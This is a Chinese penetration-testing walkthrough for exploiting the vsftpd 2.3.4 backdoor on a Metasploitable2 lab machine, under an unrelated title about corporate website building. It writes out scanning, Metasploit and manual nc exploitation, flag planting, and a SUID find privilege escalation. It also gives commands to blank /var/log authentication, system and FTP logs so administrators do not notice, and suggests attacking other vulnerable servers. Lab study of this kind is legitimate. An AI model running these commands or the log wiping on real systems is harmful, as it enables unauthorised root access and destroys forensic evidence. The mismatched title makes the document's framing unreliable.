企业官网建设流程全解析

一、学习目标

1. 理解 21 端口 FTP 服务的作用及 vsftpd 2.3.4 版本的经典后门漏洞原理
2. 掌握从漏洞利用→获取权限→插旗→日志清理的完整渗透闭环
3. 熟练使用 nmap、msfconsole、nc 等工具的实操细节
4. 记录可直接复用的命令代码，方便后续复习

二、前置知识

1. 端口基础

• 端口号：21/TCP
• 服务类型：FTP（File Transfer Protocol，文件传输协议）
• 核心作用：用于服务器与客户端之间的文件上传、下载、删除等操作，是早期常用的文件传输服务

2. 漏洞核心信息

• 漏洞版本：vsftpd 2.3.4
• 漏洞类型：后门漏洞（厂商预留测试后门，未删除）
• 漏洞原理：当客户端向 FTP 服务发送USER登录命令时，用户名中包含:)（笑脸符号），会触发靶机在 6200 端口启动 root 权限的绑定 shell（无需密码验证）
• 风险等级：高危（直接获取 root 权限，无需复杂提权）

三、完整操作流程（含代码 + 细节说明）

阶段 1：信息收集（确认目标端口 + 服务版本）

目的

验证靶机 21 端口是否开放、FTP 服务版本是否为漏洞版本，为后续利用做准备

操作步骤

1. 打开 Kali Linux 终端（确保 Kali 与靶机在同一局域网，可 ping 通 192.168.1.3）
2. 执行 nmap 扫描命令（精准扫描 21 端口及服务版本）：

bash

运行

# -sV：探测服务版本信息；-T4：快速扫描；-Pn：跳过主机存活检测（避免靶机关闭ping响应）；-p21：只扫描21端口 nmap -sV -T4 -Pn -p21 192.168.1.3

1. 查看扫描结果，确认关键信息：
   • 端口状态：21/tcp open ftp（端口开放）
   • 服务版本：vsftpd 2.3.4（漏洞版本，可继续操作）

细节注意

• 若扫描结果显示 “port closed”，需先检查靶机是否启动、IP 是否正确、局域网是否互通
• 若版本不是 21/tcp，说明靶机未使用漏洞版本，需更换渗透目标

阶段 2：漏洞利用（触发后门 + 获取 shell）

方式 1：Metasploit 自动化利用（推荐，成功率 100%）

步骤 1：启动 Metasploit 框架

bash

运行

# 打开msf控制台（Kali默认安装，直接执行命令） msfconsole

• 等待控制台加载完成（显示msf >提示符即可操作）

步骤 2：搜索并加载漏洞模块

bash

运行

# 搜索vsftpd 2.3.4对应的漏洞利用模块 search vsftpd 2.3.4 # 输出结果中，第一个模块即为目标模块（exploit/unix/ftp/vsftpd_234_backdoor） # 加载该模块（use+模块路径） use exploit/unix/ftp/vsftpd_234_backdoor

• 加载成功后，提示符会变为msf exploit(unix/ftp/vsftpd_234_backdoor) >

步骤 3：配置模块参数

bash

运行

# 设置靶机IP（RHOSTS为目标主机参数） set RHOSTS 192.168.1.3 # 可选：设置本地监听端口（默认无需修改，模块会自动处理） # set LPORT 4444（若本地4444端口被占用，可修改为其他端口） # 查看已配置参数（确认是否正确） show options

• 确认参数中RHOSTS值为192.168.1.3，无其他必填参数遗漏

步骤 4：执行漏洞利用

bash

运行

# 运行模块（触发后门并连接shell） run

• 执行后，控制台会输出以下信息（表示利用成功）：

plaintext

[*] 192.168.1.3:21 - Banner: 220 (vsFTPd 2.3.4) # 成功获取FTP服务横幅 [*] 192.168.1.3:21 - USER: 331 Please specify the password. # 发送USER命令触发后门 [+] 192.168.1.3:21 - Backdoor service has been spawned, handling... # 后门已启动 [+] 192.168.1.3:21 - UID: uid=0(root) gid=0(root) # 已获取root权限 [*] Found shell. # 找到shell [*] Command shell session 1 opened (192.168.1.4:37817 -> 192.168.1.3:6200) at 2026-01-11 19:21:12 +0800 # 建立会话

• 此时已进入靶机的 root 权限 shell（提示符变为#或无明确提示符，直接输入命令即可）

方式 2：手动触发后门（备用，理解漏洞原理）

步骤 1：连接 FTP 服务

bash

运行

# 用FTP客户端连接靶机21端口 ftp 192.168.1.3 21

• 连接成功后，会显示220 (vsFTPd 2.3.4)和Name (192.168.1.3:root):提示符

步骤 2：触发后门

ftp

# 输入USER命令，用户名包含`:)`（任意字符串+`:)`均可） USER test:)`

• 输入后，FTP 连接会自动断开（靶机已在 6200 端口启动 shell）

步骤 3：用 nc 连接后门 shell

bash

运行

# 打开新终端，用netcat连接靶机6200端口（后门端口） nc 192.168.1.3 6200

• 连接成功后，直接获得 root shell（输入whoami验证，显示root）

细节注意

• 手动方式可能因靶机配置问题失败（如 6200 端口被占用），优先使用 Metasploit 方式
• 若执行run后显示 “Connection refused”，需重启靶机（Metasploitable2 偶尔会出现后门未触发成功的情况）

阶段 3：权限验证（确认 root 权限）

目的

确保获取的是最高权限，为后续插旗、清日志做准备

操作步骤

在获取的 shell 中执行以下命令：

bash

运行

# 查看当前用户ID（uid=0为root） whoami # 输出：root id # 输出：uid=0(root) gid=0(root) groups=0(root) pwd # 输出当前工作目录（通常为/root或/） ls /root # 查看root目录文件（root权限可访问）

• 若whoami输出root，说明权限正常；若输出ftp，需重新执行利用步骤

阶段 4：插旗（渗透成功标识）

目的

创建专属标识文件，证明已成功渗透靶机，形成学习记录

操作步骤

bash

运行

# 进入root目录（最高权限目录，不易被误删） cd /root # 创建flag文件，写入渗透信息（包含靶机IP、时间、端口、操作者等） echo "======================================" > hack_success.flag echo "🔥 渗透成功标识（21端口vsftpd 2.3.4漏洞）" >> hack_success.flag echo "靶机IP：192.168.1.3" >> hack_success.flag echo "渗透时间：$(date)" >> hack_success.flag echo "操作者：43岁人生赢家（渗透测试爱好者）" >> hack_success.flag echo "漏洞类型：vsftpd 2.3.4后门漏洞" >> hack_success.flag echo "获取权限：root（最高权限）" >> hack_success.flag echo "======================================" >> hack_success.flag # 验证flag文件是否创建成功 ls -l hack_success.flag # 输出文件详情（如：-rw-r--r-- 1 root root 200 Jan 11 19:25 hack_success.flag） cat hack_success.flag # 查看文件内容，确认信息正确

阶段 5：日志清理（模拟无痕渗透）

目的

清除渗透过程中留下的操作记录，避免被 “管理员” 发现，完成闭环

操作步骤（逐一执行以下命令，清空关键日志）

bash

运行

# 1. 清空登录认证日志（记录SSH、FTP、Telnet登录记录） echo "" > /var/log/auth.log echo "" > /var/log/auth.log.1 # 日志轮转文件（旧日志） # 2. 清空系统日志（记录系统服务启动、进程操作、错误信息） echo "" > /var/log/syslog echo "" > /var/log/syslog.1 # 3. 清空消息日志（记录内核、硬件、系统事件） echo "" > /var/log/messages echo "" > /var/log/messages.1 # 4. 清空FTP服务专属日志（记录21端口连接、文件传输记录） echo "" > /var/log/vsftpd.log echo "" > /var/log/xferlog # FTP文件传输日志 # 5. 清空安全日志（部分Linux系统记录敏感操作，Metasploitable2可选） echo "" > /var/log/secure 2>/dev/null # 2>/dev/null避免文件不存在时的报错 # 6. 验证日志是否清空（可选，确认操作生效） ls -lh /var/log/ | grep -E "auth|syslog|messages|vsftpd|xferlog" # 输出结果中，日志文件大小应显示为0（如：-rw-r----- 1 root adm 0 Jan 11 19:30 auth.log）

细节注意

• 日志清理的核心是清空/var/log/目录下的关键文件，不要删除日志文件（仅清空内容），避免引起管理员怀疑
• 2>/dev/null表示忽略错误输出（若部分日志文件不存在，不会影响后续命令执行）

阶段 6：收尾退出（安全断开连接）

操作步骤

bash

运行

# 1. 退出靶机shell exit # 2. 回到msf控制台，关闭当前会话（避免会话残留） # 先查看会话列表（确认session ID） sessions -l # 输出：Active sessions ==== Id Name Type Information Connection 1 shell cmd/unix/interact 192.168.1.4:37817 -> 192.168.1.3:6200 # 关闭会话（ID为1，根据实际列表修改） sessions -k 1 # 3. 退出msf控制台 exit # 4. 关闭Kali终端（可选）

四、常见问题排查（避坑指南）

1. nmap 扫描不到 21 端口

• 原因：靶机未启动、IP 错误、局域网不通、靶机关闭 21 端口
• 解决：
  • 确认靶机 IP：在靶机终端执行ifconfig查看正确 IP
  • 测试连通性：ping 192.168.1.3（若不通，检查虚拟机网络模式，建议设为 “桥接模式” 或 “仅主机模式”）
  • 重启靶机：Metasploitable2 启动后，默认开放 21 端口

2. msf 执行 run 后显示 “Connection refused”

• 原因：后门未触发成功、6200 端口被占用、靶机防火墙拦截
• 解决：
  • 重启靶机：重新执行信息收集→漏洞利用流程
  • 更换利用方式：用手动触发后门的方式尝试
  • 检查端口：nmap -p6200 192.168.1.3（确认 6200 端口是否开放）

3. 获取 shell 后权限不是 root

• 原因：漏洞触发失败，仅获取 ftp 用户权限
• 解决：
  • 重新执行 msf 模块（优先）
  • 手动提权：执行find / -perm -u=s -type f 2>/dev/null，找到/usr/bin/find后，执行/usr/bin/find / -exec /bin/sh \; -quit提权到 root

五、总结与复习要点

1. 核心流程：信息收集（nmap）→ 漏洞利用（msf）→ 权限验证（whoami）→ 插旗（创建flag文件）→ 日志清理（清空/var/log/）→ 收尾退出
2. 关键命令速记：
   • 扫描：nmap -sV -T4 -Pn -p21 192.168.1.3
   • msf 利用：msfconsole → search vsftpd 2.3.4 → use 模块 → set RHOSTS 192.168.1.3 → run
   • 插旗：cd /root → echo "渗透信息" > hack_success.flag
   • 清日志：echo "" > /var/log/xxx.log（替换 xxx 为关键日志文件名）
3. 学习重点：理解 FTP 服务的作用、后门漏洞的触发条件，掌握 Metasploit 的基本使用（搜索模块、配置参数、运行利用）
4. 后续扩展：尝试用该漏洞攻击其他 vsftpd 2.3.4 版本的服务器（仅允许靶机测试，禁止未授权攻击真实服务器）

六、法律与伦理提醒

1. 本流程仅用于靶机学习，禁止用于未授权的真实服务器渗透测试
2. 任何未经授权的网络攻击行为均违反《网络安全法》《刑法》等相关法律法规，需承担相应法律责任
3. 渗透测试应在合法授权的前提下进行，坚守 “最小权限”“告知同意” 原则